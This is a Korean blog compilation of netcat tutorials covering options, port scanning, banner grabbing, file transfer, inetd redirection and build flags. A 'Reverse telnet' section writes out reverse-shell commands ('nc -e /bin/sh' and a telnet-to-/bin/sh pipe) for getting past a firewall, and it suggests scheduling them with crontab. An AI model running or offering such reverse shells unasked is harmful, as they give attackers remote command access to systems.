Category Archives: 자료

NetCat for Windows NT 1.11

[Mini how-to] Netcat for Windows NT

Netcat의 소개>

Netcat (이하 nc로 표기)은 Network connection 에서 raw-data read, write를 할수 있는 유틸리티 프로그램입니다. 일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection에 읽거나 씁니다. 이것은 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에도 이용범위가 매우 넓습니다.

Options>
usage: nc [options] [target host] [ports]
-n : 호스트 네임과 포트를 숫자로만 입력받습니다.
-v : verbosity 를 증가 시킨다. 더 많은 정보를 얻을수 있습니다.
-o [filename] : 보내거나 받은 데이터를 헥스덤프하여 파일에 저장합니다.
-u : TCP connection 대신에 UDP connection 이 이루어 집니다.
-p [port number or name] : local-port 를 지정한다. 주로 -l 과 같이 사용하게 됩니다.
-s [ip address or DNS] : local ip address 를 지정합니다. 모든 플렛폼에서 지원되지는 않습니다.
-l : listen 모드로 nc을 띠우게 됩니다. 당연히 target host는 입력하지 않습니다. -p와 같이 사용하게 됩니다. nc를 server 로서 쓸때 사용합니다.
-e [filename] : -DGAPING_SECURITY_HOLE 옵션으로 Make 되었을 때 사용가능합니다.
connection 이 이루어 졌을 때 file을 exec 시킵니다. -l 과 같이 사용되면 한 instance만을 사용하는 inetd와 비슷합니다.
-t : -DTELNET 옵션으로 컴파일 되었을 때 사용가능합니다. telnetd에 접속이 가능하도록
접속시 telnet과 같은 협상과정을 거칩니다.
-i [interval time] : nc는 일반적으로 8K 씩 데이터를 보내고 받는데 그렇게 Standard input의 한 라인씩 interval time마다 보내게 됩니다.
-z : connection을 이루기위한 최소한의 데이터 외에는 보내지 않도록 하는 옵션입니다.
-r : port 지정이 여러개로 되어 있으면 이때 scanning 순서를 randomize하고 (일반적으로 범위로 지정하면 높은 번호의 포트부터 스캔한다) 또한 -p 옵션에서 지정가능한 local port도 randomize합니다. 이때 주의 할 것은 -p가 -r을 override 한다는 것입니다.
-g : ??
-G : ??

Using>

multi-port connection
nc는 한 호스트에 한 번에 여러 connection 을 만들수 있습니다. 이 때 다음과 같이 여러개의 포트를 기술할 수 있습니다.
==> nc [target host] 20-30

이때 std input으로 입력되는 데이터는 한꺼번에 보내지게 됩니다.

port scanning
target host 의 지정된 범위내에서의 어떤 포트가 어떻게 사용되고 있는 가를 검색할 수 있습니다.
==> nc -v -w 3 -z sparcs.kaist.ac.kr 20-30, 70-90

위의 명령은 다음 결과와 같이 20-30, 70-90 까지의 포트들에 대한 정보를 보여줍니다.
==> sparcs.kaist.ac.kr [143.248.8.2] 25 (smtp) open
==> sparcs.kaist.ac.kr [143.248.8.2] 23 (telnet) open
==> sparcs.kaist.ac.kr [143.248.8.2] 21 (ftp) open
==> sparcs.kaist.ac.kr [143.248.8.2] 80 (http) open
==> sparcs.kaist.ac.kr [143.248.8.2] 79 (finger) open
==> sparcs.kaist.ac.kr [143.248.8.2] 70 (gopher) open

이것보다 더 자세한 정보를 얻고자 할때는
==> echo QUIT | nc -v -w 3 [target host] [ports]

라고 하면 응답이나 에러메세지로부터 버전정보등도 얻을 수 있습니다.
==> ex)
[songa@sparcs.kaist.ac.kr] ~ 13 echo QUIT | nc -v -w 3 sparcs 20-30, 70-90
sparcs.kaist.ac.kr [143.248.8.2] 25 (smtp) open
220 sparcs.kaist.ac.kr ESMTP Sendmail 8.8.7/8.8.7; Fri, 8 Jan 1999 15:21:36
+0900
221 sparcs.kaist.ac.kr closing connection
sparcs.kaist.ac.kr [143.248.8.2] 23 (telnet) open
sparcs.kaist.ac.kr [143.248.8.2] 21 (ftp) open
220 sparcs.kaist.ac.kr FTP server (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3
19:17:20 EDT 1998) ready.
221 Goodbye.
sparcs.kaist.ac.kr [143.248.8.2] 80 (http) open
sparcs.kaist.ac.kr [143.248.8.2] 79 (finger) open
finger: QUIT: no such user.
sparcs.kaist.ac.kr [143.248.8.2] 70 (gopher) open

simple data transfer agent
nc를 이용해 간단한 data 전송을 할 수 있습니다.
==> receiver : nc -l -p 1234 | uncompress -c | tar xvfp –
==> sender : tar cfp – /some/dir | compress -c | nc -w 3 othermachine 1234

substitute of inetd
nc를 이용해 inetd에 등록하지 않고, 별다른 네트웍 설정 없이 프로그램을 테스트할 수 있습니다.
==> nc -l -p [port] -e [filename]

/*test.c*/
#include < stdio.h >
main(){
getchar();
printf(“<html><head></head><body>햐하</body></html>\n”);

==> nc -l -p 1234 -e test
이렇게 하면 간이 www server 도 됩니다.

connection redirecting
inetd.conf을 아래와 같은 형식으로 고쳐서 다른 서버로 redirecting을 할수 있습니다.
==>www stream tcp nowait /etc/tcpd /bin/nc -w 3 zero 80

위의 것은 현재 서버에서 http서비스를 zero서버로 redirect 시켰습니다.

performance testing
nc를 이용해서 큰 데이터를 서로 보내고 받음으로써 network의 performance를 테스트할수있습니다.
==> ex)
[songa@sparcs.kaist.ac.kr] /etc 31 > yes AAAA | nc -v -v -l -p 1234 > /dev/nul&
[1] 3258 3259
[songa@sparcs.kaist.ac.kr] /etc 32 > listening on [any] 1234 …
[songa@sparcs.kaist.ac.kr] /etc 32 >
[songa@sparcs.kaist.ac.kr] /etc 32 >
[songa@sparcs.kaist.ac.kr] /etc 32 > yes BBBB | nc sparcs 1234 > /dev/null &
[2] 3475 3476
[songa@sparcs.kaist.ac.kr] /etc 33 > connect to [143.248.8.2] from sparcs.kaisac.kr
[143.248.8.2] 31844
[songa@sparcs.kaist.ac.kr] /etc 33 > kill %
[songa@sparcs.kaist.ac.kr] /etc 34 > sent 23470080, rcvd 21675480

[출처] Netcat(nc) 사용 설명서|작성자 해피진호

Netcat == nc

Netcat ReadMe를 부분부분 번역했습니다.>

Netcat(간단하게 nc라고도 함)은 http://www.l0pht.com/users/10pht/nc110.tgz 에서 구할 수 있습니다.

Netcat은 TCP나 UDP 네트워크 연결을 통해서 데이터를 읽거나 쓸 수 있도록 만든 프로그램입니다.
특별하게 쉘 스크립트나 다른 프로그램에서 사용하도록 만든 “Back-end” 툴입니다.
그와 동시에 약간의 재미있는 여러가지 연결로 네트워크를 디버깅하고 조사할 수 있게 만든 툴 입니다.
Netcat은 실제로 nc라는 프로그램이름을 가지고 있습니다.
예전부터 신비롭지만 표준적인 유닉스 툴로 제공되었습니다. ( 그런가 -_-;;)

간단한 사용법으로 “nc host port” 하면 주어진 호스트의 특정 포트로 TCP 연결을 합니다. 그리고
여러분의 표준 입력을 그 쪽으로 보냅니다. 그리고 표준 출력을 연결을 통해서
이쪽에 보여줍니다. 이건 한쪽 네트워크가 다운 될때까지 계속할 수 있습니다. end-of-file을
입력하면 종료되는 다른 프로그램과 다르게 계속 작동합니다.

또한 NetCat은 서버로 사용할 수 있습니다. 지정한 포트로 들어오는 연결을 기다리도록 사용할 수 있습니다.

그리고 UDP를 통해서도 이렇게 할 수 있습니다. TCP 보다 덜 신뢰되고 어떤
시스템에서는 많은 데이터를 보낼 수 없지만 유용할 때가 있습니다.

NetCat이 할 수 있는 대표적인 일로는>

Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Hex dump of transmitted and received data
Optional ability to let another program service established connections
Optional telnet-options responder

이것이 있습니다. (이건 여러분 각자가 번역해 보세요.)

만드는 법>

http://www.l0pht.com/users/10pht/nc110.tgz 에서 구할 수 있습니다.
압축을 풀고, 특별하게 설정할 건 없고, Makefile에서
==> -DGAPING_SECURITY_HOLE
 
이 부분을 추가 시켜주는게 중요합니다. 이게 없으면 유용한 -e 옵션을 쓰지 못합니다.

### HARD TARGETS

nc: netcat.c
$(LD) $(DFLAGS) $(XFLAGS) $(STATIC) -DGAPING_SECURITY_HOLE -o nc netcat.c $(XLIBS)

고친다음 make linux 하면 됩니다.
 
자 사용해 보기 전에 도움말을 봅시다.>

$ ./nc -h
[v1.10]
어느 곳에 접속할 때 : nc [-옵션] hostname port[s] [ports] …
접속을 기다릴때 : nc -l -p port [-options] [hostname] [port]
options : >

-e prog 프로그램 접속후 프로그램을 실행한다. [ 위험 ]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 도움말
-i secs 라인을 보낼 때 마다 secs 만큼 쉰다. 스캔할때 사용
-l listen 모드 , 들어오는 패킷에 반응한다.
-n DNS를 이용하지 않고 IP 주소를 사용한다.
-o file 내용을 file에 기록한다.
-p port 로컬 포트 번호
-r 컴퓨터가 마음대로 포트를 지정한다.
-s addr local source address
-u UDP 모드
-v 출력을 자세하게 한다.
-w secs 마지막으로 읽은 다음 secs 후에 종료한다.
-z 아무 데이터도 안 보낸다. scan 때 사용
포트는 하나하나 지정하거나 범위를 쓸 수 있습니다. 낮은 포트-높은 포트

[출처] Netcat(nc) 사용 설명서 II|작성자 해피진호

Netcat ReadMe를 부분부분 번역했습니다.

간단한 스캐닝 툴로 사용할 수 있습니다.>

==> $ echo QUIT | nc -v -w 5 localhost 25-100
==> localhost.localdomain [127.0.0.1] 25 (smtp) open
==> 220 s210-219-158-88.thrunet.ne.kr ESMTP Sendmail 8.9.3/8.9.3; Thu, 31 May 2001 00:30:34 +0900
==> 221 s210-219-158-88.thrunet.ne.kr closing connection

==> $ nc -v -w 5 localhost 25-100

이렇게 하면 열린 포트만 볼 수 있습니다.

파일 전송에도 사용됩니다.>

보내는 쪽
==> $ cat html.tgz | nc -w 3 x.x.x.x 1234
받는 쪽
==> $ nc -l -p 1234 > html.tgz

간단한 방화벽으로 사용됩니다.>

ined.conf에
[realwww는 실제 웹서버 주소]
www stream tcp nowait nobody /etc/tcpd /bin/nc -w 3 realwww 80

네트워크 성능 평가>

서로 순서를 달리해서 해 보았습니다.
A 서버
$ yes BBBBBBBBBBBBBBBBBBBBBB | /tmp/nc x.x.x.x 2222 > /dev/null
Broken pipe
$ yes AAAAAAAAAAAAAAAAAAAAAA | /tmp/nc -v -v -l -p 2222 > /dev/null
listening on [any] 2222 …
connect to [x.x.x.x] from x.x.x.x [x.x.x.x] 2790
sent 6643712, rcvd 9542784

A가 많이 받음

B 서버
$ yes AAAAAAAAAAAAAAAAAAAAAA | nc -v -v -l -p 2222 > /dev/null
listening on [any] 2222 …
203.239.110.12: inverse host lookup failed: Unknown host
connect to [x.x.x.x] from (UNKNOWN) [x.x.x.x] 1672
sent 11145216, rcvd 8092008
$ yes BBBBBBBBBBBBBBBBBBBBBB | nc x.x.x.x 2222 > /dev/null
Broken pipe

B가 많이 보냄

로그 데이타 보내기>

쉘 스크립트에서 로그도 보낼 수 있습니다.
==> echo ‘<38>message’ | nc -w 1 -u loggerhost 514

간이 웹 서버>

/* 간이 웹서버는 출처가 http://security.kaist.ac.kr/docs/netcat.html 입니다. */
nc를 이용해 간단한 웹서버로도 사용할 수 있습니다.

nc -l -p [port] -e [filename]

/*test.c*/
#include < stdio.h >
main(){
getchar();
printf(“햐하n”);

nc -l -p 1234 -e test

Reverse telnet>

먼저 이런 상황을 생각해 봅시다. A라는 서버에서는 어느 곳이나 접속할 수 있습니다. B라는 서버에서는 방화벽 때문에 A라는 곳에 접속할 수 없습니다. 이럴 경우 사용하는게 Reverse telnet 이라는 기술입니다. 즉, A라는 곳에서 B라는 곳으로 접속을 하지만 B에서 명령을 내릴 수 있다는 겁니다. crontab에 저장해두면 쓸모 있겠지요.

B 서버의 설정
==> $ nc -l -p 1234
A 서버의 설정
==> $ nc -e /bin/sh B서버 주소 1234

B에서 명령을 내릴 수 있습니다.

$ nc -l -p 1234
ls <– 사용자가 친 명령
Desktop
Mail
collect.data
dead.letter
epcs2.c
face2.gif
face_.gif
html.tgz

..실력이 되시면 netcat Readme를 꼭 읽어보세요.
..팁으로 사용하시라구 Reverse Telnet 부분도 넣었습니다
..물론, 출처는 Oprix님입니다

아래에서 간단한 nc 기능 으로 Reverse telnet 을 구현해 보았습니다.

 
그런데 만약 상대편에 Netcat 이 없다면??>
어떻게 할까요? 강좌만 읽는 분들 BBS에 글 남기세요. s[ㅡヘㅡ]z
먼저 아래의 nc 에 대해서 잘 읽어 보시구요. 사용해 본다음 해보세요.

A에서 B로 접속을 하는데 B에서 A로 명령을 내리는 겁니다.
==> A(211.211.211.211) ——–> B (211.211.211.212)

B에서 창을 2개를 띄워서 nc를 2개를 띄워 놓습니다.
첫번째 창
==> $ nc -l -p 3456
두번째 창
==> $ nc -l -p 7890

이렇게 해놓은 다음
A에서 이렇게 명령을 내립니다.

==> $ telnet 211.211.211.212 3456 | /bin/sh |telnet 211.211.211.212 7890

이렇게 한다음
B의 첫번째 창에서 ls 라고 한번 쳐보세요. 아무 반응이 없지요. ^^
이때 B의 두번째 창을 봐 보세요. 결과는 거기에 나타납니다. 신기 하지요. ^^
왜 저렇게 하면 이런 현상이 나오는지 파이프에 대해서 곰곰히 생각해 보세요.

[출처] Netcat(nc) 사용 설명서 III – ReadMe 번역문|작성자 해피진호

NetCat 컴파일 방법
NetCat을 적절히 사용하기 위해선 Makefile 을 편집해줄 필요가 있다.

Makefile 에 -D 옵션 부분에 아래와 같이 컴파일되도록 추가해주어야 한다.

gcc -O2 -DGAPING_SECURITY_HOLE -DTELNET -static -o nc netcat.c

위와 같이 해야 -e 옵션을 이용한 명령어의 추가 사용 등 NetCat 의 부가적
기능들을 사용할 수 있다.

참고로 NetCat 의 README 파일에서 해당 부분을 발췌

If netcat is compiled with -DGAPING_SECURITY_HOLE, the -e argument specifies a program to exec after making or receiving a successful connection. In the listening mode, this works similarly to “inetd” but only for a single instance.
Use with GREAT CARE. This piece of the code is normally not enabled; if you
know what you’re doing, have fun. This hack also works in UDP mode. Note that you can only supply -e with the name of the program, but no arguments. If you want to launch something with an argument list, write a two-line wrapper script or just use inetd like always.

If netcat is compiled with -DTELNET, the -t argument enables it to respond
to telnet option negotiation [always in the negative, i.e. DONT or WONT].
This allows it to connect to a telnetd and get past the initial negotiation
far enough to get a login prompt from the server. Since this feature has
the potential to modify the data stream, it is not enabled by default. You
have to understand why you might need this and turn on the #define yourself

http://swbae.egloos.com/685908

무엇보다 중요한 넷캣 공식홈페이지 http://netcat.sourceforge.net/
더 중요한 다운로드 주소
http://sourceforge.net/project/showfiles.php?group_id=52204&package_id=46263

NetCat fot windows
http://www.vulnwatch.org/netcat/